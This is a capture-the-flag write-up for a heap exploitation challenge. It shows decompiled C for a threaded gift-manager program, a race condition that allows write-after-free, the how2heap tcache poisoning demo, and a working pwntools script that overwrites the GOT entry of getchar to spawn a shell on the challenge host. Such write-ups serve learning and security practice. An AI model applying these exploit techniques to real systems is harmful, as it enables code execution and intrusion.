The Vulnerability

I reverse engineered the binary with Ghidra and got this:

struct event {
    void * function;
    void * arguments;
    struct event * next;
};

struct event_add_args {
    int index;
    char * name;
};

struct event_edit_args {
    char * name_buffer;
    char * new_name;
};

struct event_delete_args {
    int index;
};

struct async_add_args {
    int index;
    char * name;
};

struct async_edit_args {
    int index;
    char * name;
};

struct async_delete_args {
    int index;
};

void Menu(void)
{
  puts("1. Request gift\n2. View accepted gifts\n3. Edit gifts\n4. Reject gift");
  return;
}

void Flag(void)
{
  system("/bin/sh");
  return;
}

void Setup(void)
{
  int iVar1;
  int *piVar2;
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  iVar1 = pthread_mutex_init(&g_events_lock,(pthread_mutexattr_t *)0x0);
  if (iVar1 != 0) {
    piVar2 = __errno_location();
    *piVar2 = iVar1;
    perror("pthread_mutex_init");
                    // WARNING: Subroutine does not return
    abort();
  }
  return;
}

void TearDown(void)
{
  pthread_mutex_destroy(&g_events_lock);
  return;
}

void PrintPending(void)
{
  puts("Your request has been submitted and will be approved shortly!");
  return;
}

void SpawnThread(void *function,void *argument)
{
  int result;
  int *piVar1;
  long in_FS_OFFSET;
  pthread_t thread;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  result = pthread_create(&thread,(pthread_attr_t *)0x0,(__start_routine *)function,argument);
  if (result != 0) {
    piVar1 = __errno_location();
    *piVar1 = result;
    perror("pthread_create");
                    // WARNING: Subroutine does not return
    abort();
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

void ScheduleEvent(void *function,void *arguments)
{
  event *new_event;
  event *e;
  event *new_first_event;
  
  new_event = (event *)malloc(24);
  new_event->function = function;
  new_event->arguments = arguments;
  new_event->next = (event *)0x0;
  pthread_mutex_lock(&g_events_lock);
  new_first_event = new_event;
  if (g_events != (event *)0x0) {
    for (e = g_events; e->next != (event *)0x0; e = e->next) {
    }
    e->next = new_event;
    new_first_event = g_events;
  }
  g_events = new_first_event;
  pthread_mutex_unlock(&g_events_lock);
  return;
}

void ResolveEvents(void)
{
  event *e;
  event *next_event;
  
  pthread_mutex_lock(&g_events_lock);
  e = g_events;
  while (e != (event *)0x0) {
    (*(code *)e->function)(e->arguments);
    next_event = e->next;
    free(e);
    e = next_event;
  }
  g_events = (event *)0x0;
  pthread_mutex_unlock(&g_events_lock);
  return;
}

void EventAdd(event_add_args *args)
{
  char *buffer;
  int index;
  char *name;
  
  index = args->index;
  name = args->name;
  buffer = (char *)malloc(112);
  g_gifts[index] = buffer;
  strncpy(g_gifts[index],name,112);
  free(name);
  free(args);
  return;
}

undefined8 AsyncAdd(async_add_args *args)
{
  event_add_args *event_args;
  int index;
  char *name;
  
  index = args->index;
  name = args->name;
  sleep(1);
  if (((-1 < index) && (index < 10)) && (g_gifts[index] == (char *)0x0)) {
    event_args = (event_add_args *)malloc(16);
    event_args->index = index;
    event_args->name = name;
    ScheduleEvent(EventAdd,event_args);
  }
  free(args);
  return 0;
}

void EventEdit(event_edit_args *args)
{
  char *new_name;
  
  new_name = args->new_name;
  strncpy(args->name_buffer,new_name,112);
  free(new_name);
  free(args);
  return;
}

undefined8 AsyncEdit(async_edit_args *args)
{
  event_edit_args *event_args;
  char *name;
  int index;
  
  index = args->index;
  name = args->name;
  if (((-1 < index) && (index < 10)) && (g_gifts[index] != (char *)0x0)) {
    event_args = (event_edit_args *)malloc(16);
    event_args->new_name = name;
    event_args->name_buffer = g_gifts[index];
    sleep(1);
    ScheduleEvent(EventEdit,event_args);
  }
  free(args);
  return 0;
}

void EventDelete(event_delete_args *args)
{
  int index;
  
  index = args->index;
  free(g_gifts[index]);
  g_gifts[index] = (char *)0x0;
  free(args);
  return;
}

undefined8 AsyncDelete(async_delete_args *args)
{
  event_delete_args *event_args;
  int index;
  
  index = args->index;
  if (((-1 < index) && (index < 10)) && (g_gifts[index] != (char *)0x0)) {
    event_args = (event_delete_args *)malloc(4);
    event_args->index = index;
    ScheduleEvent(EventDelete,event_args);
  }
  free(args);
  return 0;
}

void UiAdd(void)
{
  size_t length;
  long in_FS_OFFSET;
  int index;
  char *name;
  async_add_args *a;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("index: ");
  __isoc99_scanf("%d",&index);
  getchar();
  puts("Enter a name for your gift:");
  name = (char *)malloc(112);
  fgets(name,112,stdin);
  length = strcspn(name,"\n");
  name[length] = '\0';
  a = (async_add_args *)malloc(16);
  a->name = name;
  a->index = index;
  SpawnThread(AsyncAdd,a);
  PrintPending();
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

void UiView(void)
{
  int i;
  
  for (i = 0; i < 10; i = i + 1) {
    if (g_gifts[i] != (char *)0x0) {
      printf("%d. %s\n",(ulong)(uint)i,g_gifts[i]);
    }
  }
  return;
}

void UiEdit(void)
{
  size_t length;
  long in_FS_OFFSET;
  int index;
  char *name;
  async_edit_args *a;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("index: ");
  __isoc99_scanf("%d",&index);
  getchar();
  puts("Enter the new name for your gift:");
  name = (char *)malloc(112);
  fgets(name,112,stdin);
  length = strcspn(name,"\n");
  name[length] = '\0';
  a = (async_edit_args *)malloc(16);
  a->index = index;
  a->name = name;
  SpawnThread(AsyncEdit,a);
  PrintPending();
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

void UiDelete(void)
{
  long in_FS_OFFSET;
  int index;
  async_delete_args *a;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("index: ");
  __isoc99_scanf("%d",&index);
  getchar();
  a = (async_delete_args *)malloc(4);
  a->index = index;
  SpawnThread(AsyncDelete,a);
  PrintPending();
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

void main(void)
{
  long in_FS_OFFSET;
  uint menu_choice;
  undefined8 canary;
  
  canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  Setup();
  puts(
      "Welcome to Santa\'s gifts! Please note that this is a very busy time and it might take a while for your requests to be accepted"
      );
  do {
    Menu();
    __isoc99_scanf("%d",&menu_choice);
    getchar();
    ResolveEvents();
    switch(menu_choice) {
    case 0:
      TearDown();
                    // WARNING: Subroutine does not return
      exit(0);
    case 1:
      UiAdd();
      break;
    case 2:
      UiView();
      break;
    case 3:
      UiEdit();
      break;
    case 4:
      UiDelete();
    }
  } while( true );
}

The program lets us create, view, edit, and delete gifts, which have names stored in heap buffers. When we create, edit, or delete a gift, a thread is spawned which adds an element to a linked-list of events. The linked-list element contains a pointer to the function that actually makes the changes to the gift and a pointer to a struct with the arguments. At the start of each iteration of the main loop, the ResolveEvents() function goes through the linked list and calls the functions with their arguments.

The sleep(1) in AsyncEdit() looks suspicious. Since the function is called in a separate thread, it’s possible that the gift gets deleted by another thread during that delay. If that happens, then we could write to a freed heap buffer.

Exploitation

Initially, the linked list looked like an attactive target since it contains function pointers. I thought that it might be possible to cause a linked list node to be allocated inside a freed gift, which would allow me to overwrite it with the write-after-free vulnerability and redirect code execution to the flag function. I wrote a script that created a bunch of gifts, requested edits to the gifts, deleted the gifts, and then inserted as many elements into the linked list as possible during the delay in the AsyncEdit() function, but it didn’t work.

I asked Aplet123 for help, and he pointed out that by overwriting a freed chunk, it may be possible to corrupt the heap metadata and control the address returned by the next malloc call. He gave me a link to shellphish’s how2heap repository which contains a ton of heap exploitation techniques, and the repository links to a tool that can be used to search the techniques: https://kissprogramming.com/heap/heap-search. Using that tool, I found out about the tcache poisoning attack. The demo in the how2heap repository shows that if we can write to a freed heap buffer that is around 128 bytes large, we can get malloc to return an arbitrary address that we control:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    // disable buffering
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
           "returning a pointer to an arbitrary location (in this case, the stack).\n"
           "The attack is very similar to fastbin corruption attack.\n");
    printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
           "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

    size_t stack_var;
    printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

    printf("Allocating 2 buffers.\n");
    intptr_t *a = malloc(128);
    printf("malloc(128): %p\n", a);
    intptr_t *b = malloc(128);
    printf("malloc(128): %p\n", b);

    printf("Freeing the buffers...\n");
    free(a);
    free(b);

    printf("Now the tcache list has [ %p -> %p ].\n", b, a);
    printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
           "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

    printf("1st malloc(128): %p\n", malloc(128));
    printf("Now the tcache list has [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("2nd malloc(128): %p\n", c);
    printf("We got the control\n");

    assert((long)&stack_var == (long)c);
    return 0;
}

If we can get malloc to return an arbitrary address, then we can have it return the address of some GOT entry and overwrite the GOT. I wrote a new script that writes the GOT address of getchar() into a bunch of freed chunks, allocates some new chunks, and then writes the flag function address to the new chunks:

#!/usr/bin/env python3

import time

from pwn import *

exe = ELF("main_patched")

context.binary = exe

flag_func_addr = pack(exe.symbols.Flag)
got_addr = pack(exe.got.getchar)

# r = process([exe.path])
r = remote("challs.htsp.ro", 8003)

for i in range(10):
    r.sendline(b"1")
    r.sendline(str(i).encode())
    r.sendline(got_addr)

time.sleep(2)

for i in range(10):
    r.sendline(b"3")
    r.sendline(str(i).encode())
    r.sendline(got_addr)

time.sleep(0.1)

for i in range(10):
    r.sendline(b"4")
    r.sendline(str(i).encode())

time.sleep(2)

for i in range(2):
    r.sendline(b"3")
    r.sendline(b"0")
    r.sendline(flag_func_addr)

r.sendline(b"2")

r.clean(0.5)

r.interactive()

When I ran the initial version of the new script, the output contained some errors from /bin/sh, which was very exciting. However, the program also segfaults right after that. I figured out that the program was probably segfaulting one second after the shell was spawned because of some extra threads, so I made the script immediately send the command to cat the flag after spawning the shell and successfully obtained the flag. Later, I tried tweaking the second half of the script and was able to get the shell to stay open with some trial-and-error.